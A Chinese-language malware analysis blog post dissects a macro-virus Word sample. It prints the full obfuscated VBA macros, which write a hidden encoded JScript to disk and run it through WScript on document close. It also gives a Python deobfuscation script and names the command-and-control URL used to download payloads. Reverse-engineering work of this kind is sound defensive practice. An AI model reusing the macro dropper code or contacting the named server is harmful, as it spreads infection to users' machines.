这个样本是一个docm格式的宏病毒,运行之后会释放并运行一个jse文件,这是一个加密并高度混淆后的JScript脚本,主要功能是下载PE执行和感染可移动存储介质。
样本信息
MD5: e36380d824811bc28fbc26ea84c1a868
SHA1: 19d5fc16cfabae3b3c26bbb4f5798da42733a2fa
SHA256: 16429e95922c9521f7a40fa8f4c866444a060122448b243444dd2358a96a344c
SHA512: 6c6f323893870536822a2aa2aebe783379906081fcf004dd04cb40cc1109c3452d39b548ac8b2a6544601a132f1117aedaca7061c2dbd38dcdba0cbccd07940e
CRC32: a4f4cfc0
分析环境
- windows7 x64虚拟机
- oledump.py 分析docm文档,提取VBA代码
- notepad++ 查看和编辑
- vscode 编辑代码
- python3(anaconda3) 去混淆
静态分析
使用oledump.py分析这个宏病毒样本的结构
使用使用下面的命令分别导出A3和A4段的宏代码
python oledump.py -s A3 -v 1.docm > A3_macro.txt
python oledump.py -s A4 -v 1.docm > A4_macro.txt
两段宏代码如下,代码中作为一些混淆,然而还原出来还是比较容易的。
A3_macro.txt
Attribute VB_Name = "NewMacros"
Public polindrome As String
Function finger()
finger = "" & Chr(80 + 3) & "he" & "l" & Chr(100 + 8)
'finger = "Shell"
End Function
Function Nails()
Nails = Chr(30 + 2) & "/" & Chr(100 + 1) & ":"
'Nails = " /e: "
End Function
Function spoon()
spoon = finger & "Exe" & Chr(90 + 9) & "ut" & Chr(100 + 1)
'ShellExecute
End Function
Function cup()
cup = Chr(80 + 3) & Chr(90 + 9) & "r" & "ip" & "t"
'Script
End Function
Function HIV()
HIV = "open"
End Function
’执行jse内容
Sub Hercules(button As Long)
Dim ok1() As Variant
Dim ok2() As Variant
ReDim ok1(7)
ReDim ok2(8)
VBA.CallByName VBA.CreateObject(finger & "." & Chr(60 + 5) & "pp" & "li" & Chr(90 + 9) & "at" & "ion"), spoon _
, VbMethod, Chr(80 + 7) & cup _
, Nails & Chr(70 + 4) & cup & " " & Chr(30 + 4) & polindrome & Chr(30 + 4), "", HIV, 2 - 1
'VBA.CallByName VBA.CreateObject("Shell.Application") "ShellExecute", VbMethod, "WScript"," /e:JScript 1.docx","open",1
End Sub
'输出jse的内容
Sub Wick(John As Long)
'
' Sand Macro
'
'
Dim Huge As Variant
polindrome = ActiveDocument.FullName & "x"
Dim duma As String, vc As Integer
duma = polindrome
vc = FreeFile
Open duma For Output As #vc '打开1.docmx 用于输出
Print #vc, ActiveDocument.Content.Text
Close #vc
End Sub
Sub AcceptConflictAndAdvanceU()
'
' AcceptConflictAndAdvanceU Macro
'
'
MsgBox "WAY"
End Sub
A4_macro.txt
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim oxand As Variant
Wick (100)
End Sub
Private Sub Document_New()
MsgBox ("Something" & ActiveDocument.Variables("feet").Value)
End Sub
Private Sub Document_Close()
Hercules (999)
End Sub
这个宏代码比较简单,主要功能是:
这里我们将此样本重命名为1.doc,当用户打开1.doc文件,并启用宏时,会调用Wick过程,将1.doc的ActiveDocument.Content.Text的内容写入到一个新的文件1.docx中。关闭1.doc时,会执行Hercules过程,执行命令
WScript /e:JScript 1.docx
以JScript方式运行1.docx.
1.doc实际是一个docm文件,将后缀名修改为.zip,使用winrar解压后,进入word目录,查看一下document.xml,查看一个文档内容
打开document.xml会发现,里面有一段很长的脚本,文本的颜色是背景色
我们用word打开这个doc文本验证一下。
可以看到左下脚,页面和字数都很大,但是文档内容只能看到一张图片,其余的内容都被隐藏起来了。
按Ctrl+ A 将文本的字段颜色修改为黑色,就能看到脚本的内容,如下图所示。
点击启用内容后,VBA脚本已经执行。
弹出一个对话框,并在当前目录下生成了一个文件1.docx,这不是一个word文件,是一个加密的jse脚本文件,正是1.doc中隐藏的内容。
解密与去混淆
下面分析一下这个加密的JScript代码
首先对其进行解密 ,可使用这个在线解密工具JScript.Encode 在线解密 (jb51.net),再使用Online JavaScript beautifier对代码进行格式化后,就得到了下面这样一个js文件
这个文件进行严重的混淆,大小达到了惊人的30158行,如何去混淆和分析,可参考分析可参考我的另一篇博客 NEMUCOD病毒jse样本分析,去混淆的代码有点些许的不同,主要是前面这个变换函数不一样了,代码如下
#-*- coding:utf-8 -*-
import re,os,sys
js = """
function DtbSlDW(ppqeac, qenvwr) {
try {
gzzcggot32ko = 0.714;
gzzcgnationalities78ko = 0.66;
gzzcgacted22ko = 0.241;
gzzcgwork93ko = 0.123;
gzzcgrooms26ko = 0.628;
gzzcgcase58ko = 0.279;
gzzcgalso74ko = 0.41;
knqtheir_4(ppqeac, qenvwr);
} catch (e) {
if (qenvwr != 'from') {
return true;
} else {
return String[qenvwr + ['Char'] + ['Code']](ppqeac);
}
return false;
}
};"""
filename = sys.argv[1]
data = open(filename,'r',encoding='utf-8').read()
b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
#x = js2py.eval_js(js + i[0] + ';')
x = i[0]
x = x.strip(' ').strip('+') #去掉首尾的空格和+
#利用这段代码构造一个js文件,打印出其表示的真实字符串
open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
#使用CScript.exe执行这段代码,将结果输出到文件output.txt
ret = os.system('CScript.exe //Nologo 1.js > output.txt')
if ret == 0:#CScript执行没有报错
output = open("output.txt",'r',encoding='utf-8').read().strip()
print(output)
#替换找到的代码块
data = data.replace(x,'"%s"' % output)
else:#报错的话,需要单独处理
#print(i[0])
pass
a = re.findall(r"[A-Za-z0-9]+\[\d\] = \{.*?\d+\: \d+.*?\} \[((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)\];",data,re.M | re.S)
for i in a:
#x = js2py.eval_js(js + i[0] + ';')
x = i[0]
x = x.strip(' ').strip('+') #去掉首尾的空格和+
#利用这段代码构造一个js文件,打印出其表示的真实字符串
open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
#使用CScript.exe执行这段代码,将结果输出到文件output.txt
ret = os.system('CScript.exe //Nologo 1.js > output.txt')
if ret == 0:#CScript执行没有报错
output = open("output.txt",'r',encoding='utf-8').read().strip()
print(output)
#替换找到的代码块
data = data.replace(x,'"%s"' % output)
else:#报错的话,需要单独处理
#print(i[0])
pass
b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
#x = js2py.eval_js(js + i[0] + ';')
x = i[0]
x = x.strip(' ').strip('+') #去掉首尾的空格和+
#利用这段代码构造一个js文件,打印出其表示的真实字符串
open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
#使用CScript.exe执行这段代码,将结果输出到文件output.txt
ret = os.system('CScript.exe //Nologo 1.js > output.txt')
if ret == 0:#CScript执行没有报错
output = open("output.txt",'r',encoding='utf-8').read().strip()
print(output)
#替换找到的代码块
data = data.replace(x,'"%s"' % output)
else:#报错的话,需要单独处理
#print(i[0])
pass
#保存结果
open('去混淆'+ filename,'w',encoding='utf-8').write(data)
去混淆之后 的代码只有390行,其cc服务器为https://185.159.82.15/hollyhole/c644.php,主要功能是下载恶意代码执行和感染可移动存储介质。
下面的分析同 NEMUCOD病毒jse样本分析_巴哥的博客-CSDN博客一样,不再赘述。